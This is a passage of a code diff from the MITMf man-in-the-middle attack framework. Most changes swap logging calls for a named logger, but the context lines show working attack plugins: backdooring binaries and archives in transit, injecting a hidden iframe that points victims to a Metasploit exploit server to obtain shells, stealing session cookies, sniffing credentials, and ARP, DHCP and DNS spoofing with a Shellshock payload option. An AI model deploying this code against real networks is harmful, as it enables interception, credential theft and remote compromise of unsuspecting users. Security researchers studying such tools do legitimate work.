LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
Tested on Kali-Linux.
"""
# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something'
#
# Author Joshua Pitts the.midnite.runr 'at' gmail <d ot > com
#
# Copyright (c) 2013-2014, Joshua Pitts
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors
# may be used to endorse or promote products derived from this software without
# specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
# Tested on Kali-Linux.
import sys
import os
@ -74,6 +71,8 @@ from plugins.plugin import Plugin
from tempfile import mkstemp
from configobj import ConfigObj
mitmf_logger = logging.getLogger('mitmf')
class FilePwn(Plugin):
name = "FilePwn"
optname = "filepwn"
@ -303,7 +302,7 @@ class FilePwn(Plugin):
if len(aTarFileBytes) > int(self.userConfig['TAR']['maxSize']):
print "[!] TarFile over allowed size"
logging.info("TarFIle maxSize met %s", len(aTarFileBytes))
mitmf_logger.info("TarFIle maxSize met %s", len(aTarFileBytes))
self.patched.put(aTarFileBytes)
return
@ -375,7 +374,7 @@ class FilePwn(Plugin):
if keywordCheck is True:
print "[!] Tar blacklist enforced!"
logging.info('Tar blacklist enforced on %s', info.name)
mitmf_logger.info('Tar blacklist enforced on %s', info.name)
continue
# Try to patch
@ -396,16 +395,16 @@ class FilePwn(Plugin):
info.size = os.stat(file2).st_size
with open(file2, 'rb') as f:
newTarFile.addfile(info, f)
logging.info("%s in tar patched, adding to tarfile", info.name)
mitmf_logger.info("%s in tar patched, adding to tarfile", info.name)
os.remove(file2)
wasPatched = True
else:
print "[!] Patching failed"
with open(tmp.name, 'rb') as f:
newTarFile.addfile(info, f)
logging.info("%s patching failed. Keeping original file in tar.", info.name)
mitmf_logger.info("%s patching failed. Keeping original file in tar.", info.name)
if patchCount == int(self.userConfig['TAR']['patchCount']):
logging.info("Met Tar config patchCount limit.")
mitmf_logger.info("Met Tar config patchCount limit.")
# finalize the writing of the tar file first
newTarFile.close()
@ -431,7 +430,7 @@ class FilePwn(Plugin):
if len(aZipFile) > int(self.userConfig['ZIP']['maxSize']):
print "[!] ZipFile over allowed size"
logging.info("ZipFIle maxSize met %s", len(aZipFile))
mitmf_logger.info("ZipFIle maxSize met %s", len(aZipFile))
self.patched.put(aZipFile)
return
@ -452,7 +451,7 @@ class FilePwn(Plugin):
except RuntimeError as e:
if 'encrypted' in str(e):
logging.info('Encrypted zipfile found. Not patching.')
mitmf_logger.info('Encrypted zipfile found. Not patching.')
return aZipFile
print "[*] ZipFile contents and info:"
@ -488,7 +487,7 @@ class FilePwn(Plugin):
if keywordCheck is True:
print "[!] Zip blacklist enforced!"
logging.info('Zip blacklist enforced on %s', info.filename)
mitmf_logger.info('Zip blacklist enforced on %s', info.filename)
continue
patchResult = self.binaryGrinder(tmpDir + '/' + info.filename)
@ -498,17 +497,17 @@ class FilePwn(Plugin):
file2 = "backdoored/" + os.path.basename(info.filename)
print "[*] Patching complete, adding to zip file."
shutil.copyfile(file2, tmpDir + '/' + info.filename)
logging.info("%s in zip patched, adding to zipfile", info.filename)
mitmf_logger.info("%s in zip patched, adding to zipfile", info.filename)
os.remove(file2)
wasPatched = True
else:
print "[!] Patching failed"
logging.info("%s patching failed. Keeping original file in zip.", info.filename)
mitmf_logger.info("%s patching failed. Keeping original file in zip.", info.filename)
print '-' * 10
if patchCount >= int(self.userConfig['ZIP']['patchCount']): # Make this a setting.
logging.info("Met Zip config patchCount limit.")
mitmf_logger.info("Met Zip config patchCount limit.")
break
zippyfile.close()
@ -547,7 +546,7 @@ class FilePwn(Plugin):
if content_header in self.zipMimeTypes:
if self.bytes_have_format(data, 'zip'):
logging.info("%s Detected supported zip file type!" % client_ip)
mitmf_logger.info("%s Detected supported zip file type!" % client_ip)
process = multiprocessing.Process(name='zip', target=self.zip, args=(data,))
process.daemon = True
@ -556,13 +555,13 @@ class FilePwn(Plugin):
bd_zip = self.patched.get()
if bd_zip:
logging.info("%s Patching complete, forwarding to client" % client_ip)
mitmf_logger.info("%s Patching complete, forwarding to client" % client_ip)
return {'request': request, 'data': bd_zip}
else:
for tartype in ['gz','bz','tar']:
if self.bytes_have_format(data, tartype):
logging.info("%s Detected supported tar file type!" % client_ip)
mitmf_logger.info("%s Detected supported tar file type!" % client_ip)
process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,))
process.daemon = True
@ -571,14 +570,14 @@ class FilePwn(Plugin):
bd_tar = self.patched.get()
if bd_tar:
logging.info("%s Patching complete, forwarding to client" % client_ip)
mitmf_logger.info("%s Patching complete, forwarding to client" % client_ip)
return {'request': request, 'data': bd_tar}
elif content_header in self.binaryMimeTypes:
for bintype in ['pe','elf','fatfile','machox64','machox86']:
if self.bytes_have_format(data, bintype):
logging.info("%s Detected supported binary type!" % client_ip)
mitmf_logger.info("%s Detected supported binary type!" % client_ip)
fd, tmpFile = mkstemp()
with open(tmpFile, 'w') as f:
f.write(data)
@ -592,9 +591,9 @@ class FilePwn(Plugin):
if patchb:
bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read()
os.remove('./backdoored/' + os.path.basename(tmpFile))
logging.info("%s Patching complete, forwarding to client" % client_ip)
mitmf_logger.info("%s Patching complete, forwarding to client" % client_ip)
return {'request': request, 'data': bd_binary}
else:
logging.debug("%s File is not of supported Content-Type: %s" % (client_ip, content_header))
mitmf_logger.debug("%s File is not of supported Content-Type: %s" % (client_ip, content_header))
return {'request': request, 'data': data}

View file

@ -28,6 +28,8 @@ import argparse
from plugins.plugin import Plugin
from plugins.CacheKill import CacheKill
mitmf_logger = logging.getLogger('mitmf')
class Inject(CacheKill, Plugin):
name = "Inject"
optname = "inject"
@ -87,7 +89,7 @@ class Inject(CacheKill, Plugin):
self.ctable[ip] = time.time()
self.dtable[ip+hn] = True
self.count += 1
logging.info("%s [%s] Injected malicious html" % (ip, hn))
mitmf_logger.info("%s [%s] Injected malicious html" % (ip, hn))
return {'request': request, 'data': data}
else:
return

View file

@ -35,6 +35,7 @@ from scapy.all import get_if_addr
requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message
requests_log.setLevel(logging.WARNING)
mitmf_logger = logging.getLogger('mitmf')
class JavaPwn(BrowserProfiler, Plugin):
name = "JavaPwn"
@ -118,10 +119,10 @@ class JavaPwn(BrowserProfiler, Plugin):
def injectWait(self, msfinstance, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions
#inject iframe
logging.info("%s >> now injecting iframe to trigger exploit" % client_ip)
mitmf_logger.info("%s >> now injecting iframe to trigger exploit" % client_ip)
self.html_payload = "<iframe src='http://%s:%s%s' height=0%% width=0%%></iframe>" % (self.msfip, self.msfport, url) #temporarily changes the code that the Browserprofiler plugin injects
logging.info('%s >> waiting for ze shellz, Please wait...' % client_ip)
mitmf_logger.info('%s >> waiting for ze shellz, Please wait...' % client_ip)
exit = False
i = 1
@ -132,7 +133,7 @@ class JavaPwn(BrowserProfiler, Plugin):
if len(shell) > 0:
for k, v in shell.iteritems():
if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted
logging.info("%s >> Got shell!" % client_ip)
mitmf_logger.info("%s >> Got shell!" % client_ip)
self.sploited_ips.append(client_ip) #target successfuly exploited :)
self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped
exit = True
@ -141,13 +142,13 @@ class JavaPwn(BrowserProfiler, Plugin):
i += 1
if exit is False: #We didn't get a shell :(
logging.info("%s >> session not established after 30 seconds" % client_ip)
mitmf_logger.info("%s >> session not established after 30 seconds" % client_ip)
self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
def send_command(self, cmd, msf, vic_ip):
try:
logging.info("%s >> sending commands to metasploit" % vic_ip)
mitmf_logger.info("%s >> sending commands to metasploit" % vic_ip)
#Create a virtual console
console_id = msf.call('console.create')['id']
@ -155,9 +156,9 @@ class JavaPwn(BrowserProfiler, Plugin):
#write the cmd to the newly created console
msf.call('console.write', [console_id, cmd])
logging.info("%s >> commands sent succesfully" % vic_ip)
mitmf_logger.info("%s >> commands sent succesfully" % vic_ip)
except Exception, e:
logging.info('%s >> Error accured while interacting with metasploit: %s:%s' % (vic_ip, Exception, e))
mitmf_logger.info('%s >> Error accured while interacting with metasploit: %s:%s' % (vic_ip, Exception, e))
def pwn(self, msf):
while True:
@ -169,19 +170,19 @@ class JavaPwn(BrowserProfiler, Plugin):
vic_ip = brwprofile['ip']
logging.info("%s >> client has java version %s installed! Proceeding..." % (vic_ip, brwprofile['java_version']))
logging.info("%s >> Choosing exploit based on version string" % vic_ip)
mitmf_logger.info("%s >> client has java version %s installed! Proceeding..." % (vic_ip, brwprofile['java_version']))
mitmf_logger.info("%s >> Choosing exploit based on version string" % vic_ip)
exploits = self.get_exploit(brwprofile['java_version']) # get correct exploit strings defined in javapwn.cfg
if exploits:
if len(exploits) > 1:
logging.info("%s >> client is vulnerable to %s exploits!" % (vic_ip, len(exploits)))
mitmf_logger.info("%s >> client is vulnerable to %s exploits!" % (vic_ip, len(exploits)))
exploit = random.choice(exploits)
logging.info("%s >> choosing %s" %(vic_ip, exploit))
mitmf_logger.info("%s >> choosing %s" %(vic_ip, exploit))
else:
logging.info("%s >> client is vulnerable to %s!" % (vic_ip, exploits[0]))
mitmf_logger.info("%s >> client is vulnerable to %s!" % (vic_ip, exploits[0]))
exploit = exploits[0]
#here we check to see if we already set up the exploit to avoid creating new jobs for no reason
@ -190,7 +191,7 @@ class JavaPwn(BrowserProfiler, Plugin):
for k, v in jobs.iteritems():
info = msf.call('job.info', [k])
if exploit in info['name']:
logging.info('%s >> %s already started' % (vic_ip, exploit))
mitmf_logger.info('%s >> %s already started' % (vic_ip, exploit))
url = info['uripath'] #get the url assigned to the exploit
self.injectWait(msf, url, vic_ip)
@ -207,15 +208,15 @@ class JavaPwn(BrowserProfiler, Plugin):
cmd += "set LPORT %s\n" % rand_port
cmd += "exploit -j\n"
logging.debug("command string:\n%s" % cmd)
mitmf_logger.debug("command string:\n%s" % cmd)
self.send_command(cmd, msf, vic_ip)
self.injectWait(msf, rand_url, vic_ip)
else:
#this might be removed in the future since newer versions of Java break the signed applet attack (unless you have a valid cert)
logging.info("%s >> client is not vulnerable to any java exploit" % vic_ip)
logging.info("%s >> falling back to the signed applet attack" % vic_ip)
mitmf_logger.info("%s >> client is not vulnerable to any java exploit" % vic_ip)
mitmf_logger.info("%s >> falling back to the signed applet attack" % vic_ip)
rand_url = self.rand_url()
rand_port = random.randint(1000, 65535)

View file

@ -29,6 +29,7 @@ import re
from plugins.plugin import Plugin
from plugins.CacheKill import CacheKill
mitmf_logger = logging.getLogger('mitmf')
class Replace(CacheKill, Plugin):
name = "Replace"
@ -70,14 +71,14 @@ class Replace(CacheKill, Plugin):
if self.search_str is not None and self.search_str != "":
data = data.replace(self.search_str, self.replace_str)
logging.info("%s [%s] Replaced '%s' with '%s'" % (request.client.getClientIP(), request.headers['host'], self.search_str, self.replace_str))
mitmf_logger.info("%s [%s] Replaced '%s' with '%s'" % (request.client.getClientIP(), request.headers['host'], self.search_str, self.replace_str))
# Did the user provide us with a regex file?
for regex in self.regexes:
try:
data = re.sub(regex[0], regex[1], data)
logging.info("%s [%s] Occurances matching '%s' replaced with '%s'" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1]))
mitmf_logger.info("%s [%s] Occurances matching '%s' replaced with '%s'" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1]))
except Exception:
logging.error("%s [%s] Your provided regex (%s) or replace value (%s) is empty or invalid. Please debug your provided regex(es)" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1]))

View file

@ -25,7 +25,6 @@ import logging
from plugins.plugin import Plugin
from core.utils import SystemConfig
from core.sslstrip.URLMonitor import URLMonitor
from core.wrappers.protocols import _DNS
class HSTSbypass(Plugin):
name = 'SSLstrip+'
@ -44,19 +43,13 @@ class HSTSbypass(Plugin):
except Exception, e:
sys.exit("[-] Error parsing config for SSLstrip+: " + str(e))
if not options.manualiptables:
SystemConfig.iptables.DNS(1)
self.dns = _DNS.getInstance()
self.dns.enableHSTS(config)
self.output.append("SSLstrip+ by Leonardo Nve running")
URLMonitor.getInstance().setHstsBypass(config)
def finish(self):
if _DNS.checkInstance() is True:
_DNS.getInstance().stop()
#def finish(self):
# if _DNS.checkInstance() is True:
# _DNS.getInstance().stop()
if not self.manualiptables:
SystemConfig.iptables.Flush()
# if not self.manualiptables:
# SystemConfig.iptables.Flush()

View file

@ -32,6 +32,8 @@ import sqlite3
import json
import socket
mitmf_logger = logging.getLogger('mitmf')
class SessionHijacker(Plugin):
name = "Session Hijacker"
optname = "hijack"
@ -84,7 +86,7 @@ class SessionHijacker(Plugin):
cvalue = str(cookie)[eq+1:].strip()
self.firefoxdb(headers['host'], cname, cvalue, url, client_ip)
logging.info("%s << Inserted cookie into firefox db" % client_ip)
mitmf_logger.info("%s << Inserted cookie into firefox db" % client_ip)
if self.mallory:
if len(self.sessions) > 0:
@ -93,12 +95,12 @@ class SessionHijacker(Plugin):
temp.append(session[0])
if headers['host'] not in temp:
self.sessions.append((headers['host'], headers['cookie']))
logging.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie']))
logging.info("%s Sent cookie to browser extension" % client_ip)
mitmf_logger.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie']))
mitmf_logger.info("%s Sent cookie to browser extension" % client_ip)
else:
self.sessions.append((headers['host'], headers['cookie']))
logging.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie']))
logging.info("%s Sent cookie to browser extension" % client_ip)
mitmf_logger.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie']))
mitmf_logger.info("%s Sent cookie to browser extension" % client_ip)
#def handleHeader(self, request, key, value): # Server => Client
# if 'set-cookie' in request.client.headers:
@ -108,7 +110,7 @@ class SessionHijacker(Plugin):
# if self.urlMonitor.isClientLogging() is True:
# self.urlMonitor.writeClientLog(request.client, request.client.headers, message)
# else:
# logging.info(message)
# mitmf_logger.info(message)
def mallory_server(self):
host = ''

View file

@ -35,6 +35,8 @@ import threading
import re
import os
mitmf_logger = logging.getLogger('mitmf')
class Sniffer(Plugin):
name = "Sniffer"
optname = "sniffer"
@ -103,7 +105,7 @@ class Sniffer(Plugin):
if param.split('=')[0] == search_param:
query = str(param.split('=')[1])
if query:
logging.info(request.clientInfo + "is querying %s for: %s" % (request.headers['host'], query))
mitmf_logger.info(request.clientInfo + "is querying %s for: %s" % (request.headers['host'], query))
except Exception, e:
error = str(e)
logging.warning(request.clientInfo + "Error parsing search query %s" % error)
@ -809,7 +811,7 @@ class NetCreds:
if dst_ip_port != None:
print_str = '%s --> %s %s' % (src_ip_port, dst_ip_port,msg)
# All credentials will have dst_ip_port, URLs will not
logging.info(print_str)
mitmf_logger.info(print_str)
else:
print_str = '%s %s' % (src_ip_port.split(':')[0], msg)
logging.info(print_str)
mitmf_logger.info(print_str)

View file

@ -23,8 +23,9 @@ import sys
from core.utils import SystemConfig
from core.sslstrip.DnsCache import DnsCache
from core.wrappers.protocols import _ARP, _DHCP, _ICMP, _DNS
from core.wrappers.protocols import _ARP, _DHCP, _ICMP
from plugins.plugin import Plugin
from libs.dnschef.dnschef import start_dnschef
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import *
@ -32,7 +33,7 @@ from scapy.all import *
class Spoof(Plugin):
name = "Spoof"
optname = "spoof"
desc = "Redirect/Modify traffic using ICMP, ARP or DHCP"
desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS"
version = "0.6"
has_opts = True
req_root = True
@ -86,21 +87,16 @@ class Spoof(Plugin):
dhcp.debug = debug
self.protocolInstances.append(dhcp)
else:
sys.exit("[-] Spoof plugin requires --arp, --icmp or --dhcp")
if options.dns:
if not options.manualiptables:
SystemConfig.iptables.DNS(0)
SystemConfig.iptables.DNS(options.ip_address, self.dnscfg['port'])
dnscache = DnsCache.getInstance()
start_dnschef(options, self.dnscfg)
self.output.append("DNSChef v0.3 online")
for domain, ip in self.dnscfg.iteritems():
dnscache.cacheResolution(domain, ip)
self.dns = _DNS.getInstance()
self.dns.enableDNS(self.dnscfg)
if not options.arp and not options.icmp and not options.dhcp and not options.dns:
sys.exit("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns")
SystemConfig.setIpForwarding(1)
@ -115,7 +111,7 @@ class Spoof(Plugin):
group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing')
group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects')
group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers')
options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Modify intercepted DNS queries')
options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Proxy/Modify DNS queries')
options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command')
options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
options.add_argument('--target', dest='target', default=None, help='Specify a host to poison [default: subnet]')
@ -126,9 +122,6 @@ class Spoof(Plugin):
for protocol in self.protocolInstances:
protocol.stop()
if _DNS.checkInstance() is True:
_DNS.getInstance().stop()
if not self.manualiptables:
SystemConfig.iptables.Flush()

View file

@ -23,6 +23,7 @@ from cStringIO import StringIO
from plugins.plugin import Plugin
from PIL import Image
mitmf_logger = logging.getLogger('mitmf')
class Upsidedownternet(Plugin):
name = "Upsidedownternet"
@ -65,7 +66,7 @@ class Upsidedownternet(Plugin):
im.save(output, format=image_type)
data = output.getvalue()
output.close()
logging.info("%s Flipped image" % request.client.getClientIP())
mitmf_logger.info("%s Flipped image" % request.client.getClientIP())
except Exception as e:
logging.info("%s Error: %s" % (request.client.getClientIP(), e))
mitmf_logger.info("%s Error: %s" % (request.client.getClientIP(), e))
return {'request': request, 'data': data}

View file

@ -6,7 +6,6 @@ dnspython
user-agents
configobj
pyyaml
NetfilterQueue >= 0.6
ua-parser
Pillow
pefile